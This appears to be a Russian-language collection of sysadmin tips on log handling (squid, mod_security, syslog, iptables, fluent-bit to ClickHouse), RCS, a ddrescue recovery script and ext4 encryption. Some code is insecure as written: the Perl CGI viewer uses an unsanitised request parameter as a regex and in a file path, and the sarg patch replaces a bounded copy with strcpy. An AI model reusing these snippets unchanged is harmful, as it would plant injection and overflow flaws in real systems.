        mysql -h $mh -u $mu -p$mp -e "LOAD DATA INFILE \"$nld/prepare.log\" REPLACE INTO TABLE $mb.$mt;" && \
        cat $nld/$i >> $nbd/$year/$month/$day/$prefix.log && rm $nld/$i && rm $nld/prepare.log 
    done
    echo `date +"%F %T"` "Конец выгрузки" >> $nlf
    
    Поля для таблицы ('Поле'-тип)
    
    'date'-date
    'time'-time
    'timestamp'-varchar(16)(разные сервисы пишут по разному.Кто-то с милисекундами, кто-то без)
    'elapsed'-int(20)
    'ip'-varchar(15)
    'code'-varchar(20)
    'size'-int(20)
    'method'-varchar(10)
    'url'-varchar(255)
    'user'-varchar(255)
    'direct'-varchar(25)
    'mime'-varchar(25)
    'hash'-varchar(255)unique
    
    C небольшими изменениями данный скрипт можно приспособить для обработки
    лог-файлов не только squid, но и других сервисов. Необходимое условие: 
    четкое разграничение полей (можно, поиграться с указанием разграничителей полей 
    в директиве LOAD DATA INFILE).
    К преимуществам данного скрипта можно отнести огромное быстродействие
    (п4-3,2 1024Мб ОЗУ 4млн. строк за 10-12 сек.).Также по последнему полю "hash" мы можем уникальным 
    образом идентифицировать строку (при анализе логов за год по squid и net-acct я не обнаружил 
    одинаковых строк).А также гарантированное попадание всех строк в БД
     (т.к. данные не удаляются при сбое mysql). 
    
     
    ----* Логгирование POST-запросов в apache (доп. ссылка 1)   Автор: mahoro  [комментарии]
     В некоторые моменты чувствую себя очень неуютно из-за того, что нет возможности посмотреть, что конкретно делают с моим сервером некоторые персоны. Я долго искал возможность логгировать все, в том числе и POST запросы клиентов и нашел способ - через mod_security.

    Устанавливается он элементарно apxs -cia mod_security.c (см документацию, правда, для его работы в наиболее удобном, "Concurrent", режиме логгирования, нужен модуль unique_id. После установи модуля следует добавить следующую секцию в httpd.conf:

       <IfModule mod_security.c>
           SecAuditEngine On
    
       # У mod_security есть два механизма логгирования, Concurrent - более быстрый и продвинутый.
           SecAuditLogType Concurrent
    
       # Здесь будет храниться индекс - файл, по структуре похожий на    access_log + идентификаторы, 
       # по которым можно найти полную информацию в StorageDir
           SecAuditLog /var/log/www/audit/index
    
       # Тут хранятся все данные запросов. Каждый запрос в отдельном файле. 
       # Запросы разнесены по каталогам (вместе все запросы одной транзакции, вместе все транзакции одного дня)
           SecAuditLogStorageDir /var/log/www/audit/data/
    
       # Наиболее полное логгирование (man)
           SecAuditLogParts ABCDEFGHZ
    
       # Добавить обработку POST данных. 
           SecFilterScanPOST On
           SecFilterEngine On
    
       # Следующие строки нужны для сохранения загруженных на сервер файлов:
           SecUploadDir /var/log/www/audit/upload
           SecUploadKeepFiles On
    
       </IfModule>
    

    Включать это имеет смысл при подозрении, что кто-то пытается использовать вашу систему не по назначению, теперь любой шаг проходимца будет записан.

    p.s. Работоспособность конфига проверялась в apache 1.3.37, mod_security 1.9.4, но работать должно и в 2.0/2.0

     
    ----* Хранение файлов конфигурации в RCS (доп. ссылка 1)   Автор: mahoro  [комментарии]
     
    Система управления версиями RCS пригодилась для сохранения резервных копий 
    файлов конфигурации и нескольких Perl модулей, активная разработка которых уже завершена, 
    но мелкие исправления и переделки еще бывают.
    
    Итак, для работы с RCS используются следующие команды - 
       ci (импорт файлов в репозиторий), 
       co (экспорт), 
       rcs (манипулирование флагами файлов и проч.), 
       rcsdiff, 
       rlog. 
    
    Пусть file - файл, который требуется передать в управление RCS.
       ls -la > file
    
    Первым делом нужно создать каталог для репозитория
       mkdir RCS
    
    Затем импортировать файл. В общем случае это делается так:
       ci file
    
    Исходный файл _перемещается_ в репозиторий (если он там уже есть, то под новой версией).
    
    Извлечь файл из репозитория можно командой:
       co file 
    (файл будет иметь права доступа 444)
    
    Чтобы изменить файл, нужно установить его блокировку и установить права доступа, разрешающие запись
       rcs -l file
       chmod o+w file
    
    Чтобы записать изменения нужно снова выполнить
       ci file
    
    
    Итак, это все, что нужно для того чтобы начать работать.
    Теперь пара команд, для того, чтобы работать было удобно :)
    
       co -l file - синоним co file; rcs -l file; chmod 644 file - извлечь, заблокировать файл, разрешить запись.
       ci -u file - синоним ci file; co file - сохранить файл и извлечь рабочую копию
       ci -l file - синоним ci file; co -l file - сохранить файл, сделать co -l
    
    В случае, если с файлом работает один пользователь, то в блокировках нет
    никакого смысла, и от них можно отказаться:
    
       ci -l file (первоначальный импорт)
       rcs -U file (установка перманентной блокировки)
       vi file 
       ci -l file (файл сохранится в RCS и будет готов к дальнейшей работе)
    
    Далее, самые распространненые задачи:
    
    Извлечь файл из репозитория
       co file
       co -l file (синоним co file, rsc -l file -- извлечение и блокировка)
       co -r1.2 file (извлечение определенной версии файла)
    
    Посмотреть различия между текущей (=рабочей) версией и последней, сохраненной в RCS
       rcsdiff file
    
    Посмотреть различия между произвольными двумя версиями
       rcsdiff -r1.1 -r1.2 file
    
    Посмотреть логи редактирования файла
       rlog file
    
    Дальнейшее чтение: rcsintro(1), rcs(1), co(1), ci(1).
    
     
    ----* Как вести лог блокировок в iptables и ipfw   [комментарии]
     
    Linux:
    
    - Перед правилом блокировки нужно вставить "log" правило:
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 \
          -j LOG --log-level debug --log-prefix "outgoing mail" 
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 -j DROP
    
    - Проверить запущены ли в системе klogd и syslogd.
    
    - Настроить /etc/syslog.conf на прием kern.debug логов:
       kern.=debug   -/var/log/kernel/info
    
    FreeBSD:
    Добавить ключ log в ipfw, например:
       ipfw add 1000 deny log tcp from any to 192.168.10.10 22 via fxp0
       ipfw add 1000 deny log logamount 0 tcp from any to 192.168.10.10 80 via fxp0
    
    Для ведения логов ядро должно быть собрано с IPFIREWALL_VERBOSE или нужно
    выставить "sysctl -w net.inet.ip.fw.verbose=1".
    
    Далее проверить чтобы в /etc/syslog.conf было упоминание LOG_SECURITY:
       security.*      /var/log/security
    
    Через параметр logamount передается число записей которые будет записано в лог, 
    после превышения записи перестанут появляться в логе, до тех пор пока не будет вызвана команда 
    "ipfw resetlog". Максимальное число сообщений можно также установить 
    через sysctl net.inet.ip.fw.verbose_limit. 
    Для отмены лимитирования на число записей, нужно установить атрибут в 0.
    
     
    ----* Статистика сетевых соединений через syslog и iptables   Автор: umask  [комментарии]
     
    Часто недовольные пользователи приходят и просят дать им распечатку логов доступа в интернет. 
    Отчасти это позволяет сделать squid, но только при прозрачном проксировании, да
    и то логи только по http-протоколу.
    
    На помощь приходит iptables и syslog.
    
    Настраиваем в syslog.conf добавление сообщений от ядра уровня debug (или
    уровня, который вам удобнее)
     в отдельный файл. Лучше всего хранить эти логи на отдельном разделе (их размер огромен! 
    но проблему решает gzip - сжимает логи более чем в 10 раз).
    
    В моём syslog.conf была добавлена строка:
          kern.=debug                                 -/var/log/access/access
    
    Желательно, что бы в уровень debug сообщений от ядра не поступало никакой другой информации, 
    кроме информации от iptables. У меня так и получилось по умолчанию с уровнем debug.
    
    В rc.firewall было добавлено в самое начало:
    
       #LOG ALL (!!!). Beware!!!
       #FORWARD
       iptables -A FORWARD -m state --state NEW -j LOG  --log-level debug \
          --log-prefix  'FRWLL_FWD_NEW ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state ESTABLISHED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_ESTBLSHD ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state RELATED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_RLTD ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state INVALID -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_INVLD ' # --log-tcp-options --log-ip-options
       #INPUT
       iptables -A INPUT -m state --state NEW -j LOG  --log-level debug \
          --log-prefix 'FRWLL_INPT_NEW ' # --log-tcp-options --log-ip-options
       #iptables -A INPUT -m state --state ESTABLISHED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_INPT_ESTBLSHD ' # --log-tcp-options --log-ip-options
       #iptables -A INPUT -m state --state RELATED -j LOG  --log-level debug \
       #  --log-prefix 'FRWLL_INPT_RLTD ' # --log-tcp-options --log-ip-options
       iptables -A INPUT -m state --state INVALID -j LOG  --log-level debug \
          --log-prefix 'FRWLL_INPT_INVLD ' # --log-tcp-options --log-ip-options
    
    
    Если раскомментировать все строки, то получиться лог с полной статистикой
    доступа - он будет очень большим.
    Поэтому в данном примере имеем лог только по установкам соединений и ошибочным
    соединениям в цепочках INPUT и FORWARD.
    
    Итак. В logrotate я добавил (/etc/logrotate.d/access):
    
       /var/log/access/access {
           sharedscripts
           compress
           rotate 45
           daily
           postrotate
               /bin/killall -HUP syslogd
           endscript
       }
    
    Сжимаем логи каждый день. Храним статистику за последние 45 суток.
    Компрессия логов в моём случае дала значительный прирост производительности, поскольку шлюз 
    достаточно мощный и скорость парсинга логов упиралась только в чтение с HDD.
    
    В итоге был написан простой скрипт на perl, выдающий статистику в более-менее удобоваримой форме.
    
    Вот и сам скрипт:
    -------------------------
    
       #!/usr/bin/perl
    
       use CGI qw(:standard);
       use PerlIO::gzip;
       use Switch;
    
       ##Redefine before start:
       my $LOG_DIR="/var/log/access/";
       my $LOG_FILENAME="access";
       ##end
    
       my $IP, $FLAG;
    
       ## Params delimeter in request: "-"
       ($IP, $FLAG) = split(/-/, $ARGV[0]);
    
       ## if undefine IP or file log FLAG-number or FLAG is empty - parser exit:
       if(!defined($IP)||!defined($FLAG)||$FLAG==""){
         print header; print start_html; 
         print   "Valid parameters required!"; print end_html; exit(1);
       }
    
       print header;
       print start_html("Stat for: $IP");
       print "<h2>Stat for: $IP</h2><br/>", "\n<pre>";
    
       switch($FLAG)
       {
           case "0"
           {
               open($FD, "<$LOG_DIR$LOG_FILENAME")
                or die "Cannot open current (0) log-file!<br> File does not exist or access not permitted!<br>";
               while(<$FD>)
               {
                    chomp;
                    s/gw kernel://g;
                    if(grep(/$IP/, $_))
                    {
                        print $_, "<br>\n";
                    }
               }
               close($FD);
           }
           else 
           {
               open($GZIP, "<:gzip(lazy)", "$LOG_DIR$LOG_FILENAME.$FLAG.gz")
                or die "Cannot open old (", $FLAG, ") log-file!<br> File does not exist or access not permitted!<br>";
               while(<$GZIP>)
               {
                    chomp;
                    s/gw kernel://g;
                    if(grep(/$IP/, $_))
                    {
                        print $_, "<br>\n";
                    }
               }
               close($GZIP);
           }
       }
       print "</pre>\n";
       print "<br><br>Access stat parser by \"umask at yandex dot ru\"<br>";
       print end_html;
    -------------------------
    
    Для работы скрипта необходимо установить модуль PerlIO-gzip. Найти ссылку на
    модуль можно на cpan.org.
    
    Доступ к статистике можно получить через браузер (скрипт рассчитан для работы как CGI):
       hostname.ru/cgi-bin/parse.pl?192.168.1.1-0
    
    Аргумент понимаеться так:
    192.168.1.1 - искомая подстрока.
    0 - норме лог файла. В данном случае текущий (в который пока ещё записываются сообщения syslog).
    1 - вчерашний,
    2 - позавчерашний,
    3 - 3 дня назад.
    .....
    и т.д.
    
    Для меня данное решение оказалось удобным.
    
     
    ----* Использование Sarg для анализа логов ISA 2004 Server   Автор: Жека  [обсудить]
     
    После долгого копания глюков sarg с ISA 2004 Server logs, были найдены следующие решения:
    
    - формат файла должен быть w3c
    
    - необходимые для анализа поля:
       c-ip
       cs-username
       date
       time
       time-taken
       sc-bytes
       cs-uri
       sc-status
    
    - поле cs-status не должно быть последним, после него нужно включить еще какое-нибудь поле. 
    Глюк связан с кривым разбором строки :(
    
    - формат даты в конфиге должен быть "e".
    
    - на поле миллисекунды внимания обращать не советую, чревато нервным срывом :)
    
    - для выгрузки логов на конкретную дату нужно 
    приложить нижеследующий патчик.
    
    --- util.c.orig Fri May 13 17:05:57 2005
    +++ util.c      Fri May 13 17:06:09 2005
    @@ -239,7 +239,7 @@
    
     void builddia(char *dia, char *mes, char *ano, char *df, char *wdata)
     {
    -   char ndia[9];
    +   char ndia[11];
        char nmes[3];
        int  x;
    
    @@ -253,15 +253,15 @@
           }
        }
    
    -   snprintf(wdata,6,"%s%s%s",ano,nmes,dia);
    +   snprintf(wdata,9,"%s%s%s",ano,nmes,dia);
    
        if(strncmp(df,"u",1) != 0)
           snprintf(ndia,sizeof(ndia),"%s/%s/%s",dia,nmes,ano);
         else
           snprintf(ndia,sizeof(ndia),"%s/%s/%s",nmes,dia,ano);
    
    -   strncpy(dia,ndia,sizeof(dia)-1);
    -   dia[sizeof(dia)-1]=0;
    +   strcpy(dia,ndia);
    +//   dia[sizeof(dia)-1]=0;
    
        return;
    
     
    ----* Как послать в syslog что-нибудь из командной строки   Автор: mazaj  [комментарии]
     
       logger -sp <средство>.<уровень> -t <имя_процесса> "текст"
    
     
    ----* Как решить проблему с ведением логов у программ в chroot окружении   [комментарии]
     
    Например, в postfix запущенном в chroot, через настройки в master.cf, при перезапуске syslogd 
    перестают писаться логи qmgr, тем временем все остальные логи пишутся нормально.
    
    Решение - необходимо создать дополнительный log сокет в chroot окружении:
       FreeBSD: "syslogd -l /var/spool/postfix/dev/log"
       Linux: "syslogd -a /var/spool/postfix/dev/log"
    
     
    ----* Почему syslogd в Linux потребляет слишком много процессорного времени.   [обсудить]
     
    Для сохранности логов syslogd при записи каждой строки в лог выполняет вызов
    fsync() для синхронизации
    данных на диск. Например, при интенсивной записи почтовых логов syslog может
    съесть половину времени CPU.
    
    Отключить синхронизацию можно добавив "-" перед файлом лога, например:
       mail.*  -/var/log/maillog
    
    При экспорте логов на удаленный сервер, рекомендуется вместо доменного имени хоста использовать IP.
    
     
    ----* Как в syslog организовать прохождение логов через программу-фильтр.   Автор: Gennady  [комментарии]
     
    Сначала создаем pipe:
      mkfifo /path/to/pipe
    Затем в /etc/syslog.conf пишем строчку типа:
      *.info                        |/path/to/pipe
    Перезапускаем syslogd:
      kill -1 'cat /var/run/syslogd.pid'
    И запускаем свою программу, которая будет читать с пайпа данные. 
    
     
    ----* Как организовать сохранение syslog логов на удаленном сервере.   [комментарии]
     
    На сервере с которого поытаем логи (/etc/syslog.conf):
       mail.*   /var/log/maillog
       mail.*   @loger.host.ru
    На удаленном FreeBSD сервере, принимающем логи syslog должен запускаться без опции -s 
    (для некоторых версий нужно указать опцию -r),
    удаленные хоcты ограничиваем через "-a ip1 -a ip2", рекомендую прикрыть доступ
    к 514 UDP порту пакетным фильтром.
    Пример /etc/syslog.conf:
       mail.*   /var/log/maillog_all   # логи со всех серверов
       +@   # +@ - выборка только для локального хоста
       mail.*   /var/log/maillog
       +relay1.host.ru
       mail.*   /var/log/maillog_relay1
       +relay2.host.ru
       mail.*   /var/log/maillog_relay2
       +*       # +* - отмена привязки к хосту
       !popa3d  # далее по логи по масте программы.
       *.*      /var/log/pop3log
    
     
    ----* Как пересылать логи с Cisco в syslog   Автор: LS  [комментарии]
     
    На Cisco:
        router(config)# logging x.x.x.x
        router(config)# logging source-interface fastethernet 0/0
        router(config)# logging facility local0
    В syslog.conf (syslogd нужно запускать с ключем -r):
        local0.* /var/log/cisco.log
    
     
    ----* Отправка логов из kubernetes в clickhouse   Автор: Аноним  [комментарии]
     
    Хочу поделится опытом отправки логов java-приложений, развернутых в kubernetes,
    в базу clickhouse. Для отправки используем fluent-bit, который настроим на
    отправку логов по http в формате json_stream.
    
    Пара слов о fluent-bit
    
    Fluent-bit  работает с записями. Каждая запись состоит из тега и
    именованного массива значений.
    
    
  • Input Секции input указывают как и откуда брать данные, какой тег присвоить записям и в какой парсер передать их для получения массива значений. Парсер указывается параметром Parser в секции Input. В нашем случае берём теги из названия файла при помощи regexp.
  • Parser Секция parsers указывает как получить из сообщения массив значений. В случае с kubernetes все сообщения представляют из себя JSON с 3 полями: log, stream и time. В нашем случае поле log также содержит JSON.
  • Filter Пройдя парсинг, все сообщения попадают в фильтры, применение которых настраивается параметром Match. В каждый фильтр попадают только те сообщения, которые имеют тег, попадающий в regexp, указанный в Match. В нашем случае фильтры также удаляют сообщения, которые пришли из служебных namespace и лишние поля, чтобы сообщения смогли попасть в clickhouse без ошибок, даже если что-то пошло не так.
  • Помещение тегов в лог Fluent-bit использует теги только для маршрутизации сообщений, подразумевается, что теги не должны попадать в лог. Для того, чтобы в лог попала информаци о том в каком namespace, contaner и pod произошло событие, применяется скрипт на lua. Если распарсить сообщение не удалось или поле message оказалось пустым после парсинга, значит в выводе приложения был не JSON или он был в не верном формате. Тогда в поле message помещается всё сообщение без парсинга.
  • Output Секция указывает куда направить сообщения. Применение секций Output определяется параметром Match аналогично с секцией Filter. В нашем случае сообщения уходят в clickhouse по http в формате json_stream. Примеры Наши приложения выводят в логи в формате JSON в stdout, их собирает kubernetes и создает симлинки на них в /var/log/containers. Логи работы пода java-pod-5cb8d7898-94sjc из деплоймента java-pod в неймспейсе default попадают в файл вида /var/log/containers/java-pod-5cb8d7898-94sjc_default_java-pod-08bc375575ebff925cff93f0672af0d3d587890df55d6bd39b3b3a962fc2acb9.log Пример записи {"log":"{\"timeStamp\":\"2021-11-24T11:00:00.000Z\",\"message\":\"My message id: 8543796, country: RU\",\"logger\":\"com.YavaApp.app.service.YavaService\",\"thread\":\"http-nio-8080-exec-2\",\"level\":\"INFO\",\"levelValue\":40000}\n","stream":"stdout","time":"2021-11-24T11:00:00.000000000Z"} Как видно из примера, в JSON-записи, поле log содержит в себе экранированный JSON, который также нужно разобрать, а из имени файла понятно к какому поду, деплою и неймспейсу принадлежит запись. Clickhouse По умолчанию clickhouse слушает команды по протоколу http на порту 8123. Менять эти настройки нет необходимости. Создадим в clickhouse схему logs и таблицу log в ней. create database logs; use logs; create table logs.log( pod_time DateTime('Etc/UTC'), namespace String, container String, pod String, timeStamp String, stream String, thread String, level String, levelValue Int, logger String, message String ) ENGINE = MergeTree PARTITION BY toYYYYMM(pod_time) ORDER BY pod_time; Файлы конфигурации Файл конфигурации fluent-bit для kubernetes будет выглядеть примерно так: apiVersion: v1 kind: ConfigMap metadata: labels: k8s-app: fluent-bit name: fluent-bit namespace: monitoring data: filter.conf: | [FILTER] Name lua Match * script make_tags.lua call make_tags [FILTER] Name grep Match kube.* Exclude namespace monitoring Exclude namespace metallb-system Exclude namespace gitlab-managed-apps Exclude namespace kube-* [FILTER] Name record_modifier Match kube.* Whitelist_key pod_time Whitelist_key namespace Whitelist_key container Whitelist_key pod Whitelist_key timeStamp Whitelist_key stream Whitelist_key thread Whitelist_key level Whitelist_key levelValue Whitelist_key logger Whitelist_key message Record cluster k8s-test fluent-bit.conf: | [SERVICE] Flush 1 Log_Level info Daemon off Parsers_File parsers.conf @INCLUDE filter.conf @INCLUDE input.conf @INCLUDE output.conf input.conf: | [INPUT] Name tail Path /var/log/containers/*.log Parser kub-logs Refresh_Interval 5 Mem_Buf_Limit 20MB Skip_Long_Lines On DB /var/log/flb_kube_default.db DB.Sync Normal Tag kube.<namespace_name>.<container_name>.<pod_name> Tag_Regex (?<pod_name>[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*)_(?<namespace_name>[^_]+)_(?<container_name>.+)- make_tags.lua: | function make_tags(tag, timestamp, record) new_record = record local tag_list = {} for s in string.gmatch(tag, "[^.]+") do table.insert(tag_list, s) end new_record["namespace"] = tag_list[2] new_record["container"] = tag_list[3] new_record["pod"] = tag_list[4] if (record["message"] == nil) then new_record["message"] = record["log"] end return 1, timestamp, new_record end output.conf: | [OUTPUT] Name http Host clickhouse-address Port 8123 URI /?user=user&password=pass&database=logs&query=INSERT%20INTO%20log%20FORMAT%20JSONEachRow Format json_stream Json_date_key pod_time Json_date_format epoch parsers.conf: | [PARSER] Name kub-logs Format json Time_Key time Time_Format %Y-%m-%dT%H:%M:%S.%L # Command | Decoder | Field | Optional Action # ==============|==============|=========|================= Decode_Field_As escaped_utf8 log do_next Decode_Field json log Конфигурация DaemonSet, который развернет по одному инстансу fluent-bit на каждой рабочей ноде. apiVersion: apps/v1 kind: DaemonSet metadata: name: fluent-bit namespace: monitoring labels: k8s-app: fluent-bit spec: selector: matchLabels: k8s-app: fluent-bit template: metadata: labels: k8s-app: fluent-bit spec: priorityClassName: system-node-critical containers: - name: fluent-bit image: fluent/fluent-bit:1.8 imagePullPolicy: Always volumeMounts: - name: config mountPath: /fluent-bit/etc/fluent-bit.conf subPath: fluent-bit.conf - name: config mountPath: /fluent-bit/etc/input.conf subPath: input.conf - name: config mountPath: /fluent-bit/etc/output.conf subPath: output.conf - name: config mountPath: /fluent-bit/etc/parsers.conf subPath: parsers.conf - name: config mountPath: /fluent-bit/etc/filter.conf subPath: filter.conf - name: config mountPath: /fluent-bit/etc/make_tags.lua subPath: make_tags.lua - name: var-log mountPath: /var/log - name: var-lib-fluent mountPath: /var/lib/fluent - name: var-lib-docker mountPath: /var/lib/docker readOnly: true - name: run-log mountPath: /run/log - name: etcmachineid mountPath: /etc/machine-id readOnly: true volumes: - name: config configMap: defaultMode: 420 name: fluent-bit - name: var-log hostPath: path: /var/log - name: var-lib-fluent hostPath: path: /var/lib/fluent - name: var-lib-docker hostPath: path: /var/lib/docker - name: run-log hostPath: path: /run/log - name: etcmachineid hostPath: path: /etc/machine-id type: File
  •  

       Диски и файлы

    ----* Cкрипт ddrescue-loop с функцией автоматической остановки/перезапуска диска на SATA порту (доп. ссылка 1)   Автор: gumanzoy  [комментарии]
     
    Cкрипт ddrescue-loop v0.1 с функцией автоматической остановки/перезапуска
    диска на SATA порту.
    
    Предназначен для упрощения процесса восстановления данных с неисправных SATA
    SSD. В случаях когда после ошибок чтения - SSD перестает возвращать данные и
    требует остановки/перезапуска.
    
    Для работы не требуется реле для отключения питания.
    Использует интерфейсы ядра udev /dev и sysfs /sys.
    
    Рекомендуется материнская плата с поддержкой AHCI.
    На платформах Intel начиная с Soc-1156 и на AMD AM4/AM5 нужно включать Hot Plug
    в UEFI BIOS Setup для каждого порта отдельно.
    На более старых AMD, но у которых в чипсете есть поддержка AHCI - сразу должно
    работать ничего специально включать не нужно.
    
       ddrescue-loop -ata N [-loop N] [-wait N] [-act N] outfile mapfile   [ddrescue options]
    
       ddrescue-loop -ata N -stop Остановить диск на SATA порту N
       ddrescue-loop -ata N -scan Cканировать SATA порт N
    
    Номер соответствует порту на мат.плате, но нумерация всегда начинается с 1, а
    не с 0 как на платах Gigabyte например. См. вывод dmesg
    
    Функция циклической остановки/перезапуска диска на SATA порту:
    
       -loop N Предельное число попыток N целое число. Указывать обязательно.
    
    Таймер ожидания остановки/перезапуска диска:
       -wait N Время в секундах. 10 по умолчанию.
    
    В конце после mapfile можно указать опции запуска ddrescue
    
    Код ddrescue-loop:
    
    #!/bin/sh
    #ddrescue-loop script writen by gumanzoy <gumanzoy@gmail.com>
    
    # Compatible only with Linux, not with other *nix!
    # Depends on udev /dev and sysfs /sys kernel interfaces
    # Requires SATA AHCI compatible motherboard
    # For all Intel and modern AMD platforms (AM4 and newer), check the UEFI Setup
    # SATA settings to ensure Port Hot Plug is enabled
    
    # [RU] forum thread. Обсуждение
    # https://forum.ixbt.com/topic.cgi?id=11:47589-31
    
    # /* This program is free software. It comes without any warranty, to
    # * the extent permitted by applicable law. You can redistribute it
    # * and/or modify it under the terms of the Do What The Fuck You Want
    # * To Public License, Version 2, as published by Sam Hocevar. See
    # * http://www.wtfpl.net/ for more details. */
    
    VERSION=0.1
    
    showhelp () {
    echo "ddrescue-loop v""$VERSION"" перезапускает процесс ddrescue в случае его завершения"
    echo "Внимание следует соблюдать очередность аргументов"
    echo "Указывать ключи в произвольном порядке нельзя!"
    echo "Числовые значения аргументов обязательно через пробел"
    echo -n "\n"
    echo "# Остановить/запустить диск на SATA порту:"
    echo "-ata <n> -stop""		""остановить диск на SATA порту <n>"
    echo "-ata <n> -scan""		""сканировать SATA порт <n>"
    echo -n "\n"
    echo "# Запустить восстановление:"
    echo "ddrescue-loop -ata <n> [-loop <n>] [-wait <n>] [-act <n>] outfile mapfile [ddrescue options]"
    echo -n "\n"
    echo "# Укажите номер SATA порта к которому подключен диск источник:"
    echo -n "-ata <n>""		""Номер SATA порта <n> цифра (смотрите вывод dmesg)"
    echo -n "\n""			""#: "; ls /sys/class/ata_port
    echo -n "\n"
    echo "# Функция циклической остановки/перезапуска диска на SATA порту:"
    echo "-loop <n>""		""<n> предельное число попыток"
    echo -n "\n"
    echo "# Таймер ожидания остановки/перезапуска диска:"
    echo "-wait <n>""		""Время в секундах <n> [10]"
    echo -n "\n"
    echo "# Переопределить таймаут ожидания исполнения ATA команд:"
    echo "-act <n>""		""Время в секундах <n> [1..30]"
    echo -n "\n"
    echo "# Основные:"
    echo "outfile""			""Устройство приемник данных / файл образа"
    echo "mapfile""			""ddrescue map/log файл (обязательно)"
    echo -n "\n"
    echo "# В конце после mapfile можно указать опции запуска ddrescue через пробел"
    echo "# Поддержка зависит от версии. Полный список опций в мануале. Важные:"
    echo "-P [<lines>]""		""Предпросмотр данных [число строк] по умолчанию 3"
    echo "-b 4096""			""Размер сектора (физического блока) [default 512]"
    echo "-O"" #Рекомендую!		""После каждой ошибки заново открывать файл устройства"
    echo "-J"" #Опционален		""При ошибке перечитать последний не сбойный сектор"
    echo "-r <n> #ИЛИ -r -1""	""<n> число повторных проходов до перехода к trim"
    echo "-m <domain.mapfile>""	""Ограничить область чтения доменом <file> ddru_ntfsbitmap"
    }
    
    get_ata_host () {
    until SCSIHOST=`readlink -f /sys/class/ata_port/ata"$1"/device/host?/scsi_host/host?/` \
    && test -d "$SCSIHOST"; do sleep 1; done
    }
    
    get_ata_target () {
    until SYSFSTGT=`readlink -f /sys/class/ata_port/ata"$1"/device/host?/target?:?:?/?:?:?:?/` \
    && test -d "$SYSFSTGT"; do sleep 1; done
    }
    
    get_ata_dev () {
    until INDEV=`readlink -f /dev/disk/by-path/pci-*-ata-"$1"` \
    && test -b "$INDEV"; do sleep 1; done
    }
    
    if [ "$1" = "-h" -o "$1" = "--help" ]; then showhelp
    exit; fi
    
    if [ "`whoami`" != "root" ]; then
    echo Exit. This script should be run as root !
    exit 1; fi
    
    if [ -n "$1" ] && [ "$1" = "-ata" ]; then
    if [ -n "$2" ] && test -d /sys/class/ata_port/ata"$2"; then
    SATAP="$2"; get_ata_host "$SATAP"; shift; shift
    else echo -n "Please enter correct port number: "; ls /sys/class/ata_port; exit 1; fi
    fi
    
    if [ -n "$1" ] && [ "$1" = "-loop" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 ]; then
    DDLOOP="$2"; shift; shift; fi
    else DDLOOP=0
    fi
    
    if [ -n "$1" ] && [ "$1" = "-wait" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 ]; then
    LOOPWAIT="$2"; shift; shift; fi
    else LOOPWAIT=10
    fi
    
    if [ -n "$1" ] && [ "$1" = "-act" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 -a "$2" -lt 30 ]; then
    ATACMDT="$2"; shift; shift; fi
    fi
    
    if [ -n "$1" ] && [ "$1" = "-stop" ] && [ -n "$SATAP" ]; then
    get_ata_target "$SATAP"
    while test -f "$SYSFSTGT"/delete; do echo 1 > "$SYSFSTGT"/delete; sleep 1; done
    exit; fi
    
    if [ -n "$1" ] && [ "$1" = "-scan" ] && [ -n "$SATAP" ]; then
    echo '0 0 0' > "$SCSIHOST"/scan; exit; fi
    
    if [ -z "$SATAP" ]; then showhelp
    exit; fi
    
    OUTFILE="$1"; shift
    MAPFILE="$1"; shift
    DDOPTS="$@"
    
    DONE=X
    LOOPCOUNT=0
    
    until [ "$DONE" = 0 ]; do
    get_ata_target "$SATAP"; get_ata_dev "$SATAP"
    if [ -n "$ATACMDT" ]; then echo "$ATACMDT" > "$SYSFSTGT"/timeout
    fi
    echo ddrescue "-fd" "$INDEV" "$OUTFILE" "$MAPFILE" "$DDOPTS"
    ddrescue "-fd" "$INDEV" "$OUTFILE" "$MAPFILE" $DDOPTS
    DONE="$?"
    if [ "$DONE" != 0 ] && [ "$DDLOOP" -gt 0 ]; then
    sleep "$LOOPWAIT"
    while test -d "$SYSFSTGT"; do echo 1 > "$SYSFSTGT"/delete
    sleep "$LOOPWAIT"; done
    sleep "$LOOPWAIT" && echo '0 0 0' > "$SCSIHOST"/scan
    DDLOOP=$(($DDLOOP-1))
    LOOPCOUNT=$(($LOOPCOUNT+1))
    echo "\n\033[1mDDLOOP" "#""$LOOPCOUNT"
    tput sgr0
    date
    echo -n "\n"
    else DONE=0
    fi
    done
    
     
    ----* Шифрование данных на существующем разделе ext4 без его переформатирования (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Можно отметить два основных способа организации шифрования данных в уже
    существующей файловой системе Ext4, не требующие пересоздания раздела с
    переносом данных из резервной копии. Первый способ заключается в использовании
    встроенных в Ext4 возможностей по шифрованию отдельных каталогов, а второй в
    использовании команды "cryptsetup reencrypt" для прозрачного переноса ФС на
    новый шифрованный раздел LUKS. В любом случае создание полной резервной копии
    перед выполнением предложенных манипуляций обязательно.
    
    Первый способ наиболее простой и безопасный, но он ограничен использованием
    отдельных шифрованных каталогов, в которые можно перенести конфиденциальные
    данные, требующие защиты. Шифрование в Ext4 поддерживается при использовании
    как минимум ядра Linux 4.1 и утилит 2fsprogs 1.43.
    
    Выставляем в суперблоке раздела  c ФС ext4 флаг поддержки шифрования (в нашем случае /dev/sda1):
    
        sudo tune2fs -O encrypt /dev/sda1
    
    Создаём каталог, в котором будут храниться зашифрованные данные текущего пользователя:
    
        mkdir -p /secret/home/user
      
    Генерируем случайную salt-последовательность для последующего шифрования и
    сохраняем её в отдельный файл:
    
        echo 0x`head -c 16 /dev/urandom | xxd -p` > /home/user/.crypt_salt
     
    
    Создаём на базе данной salt-последовательности ключ для шифрования, указав для него пароль:
    
        e4crypt add_key -S /home/user/.crypt_salt
    
        Enter passphrase (echo disabled):
        Added key with descriptor [f467134ca2c48c33]
    
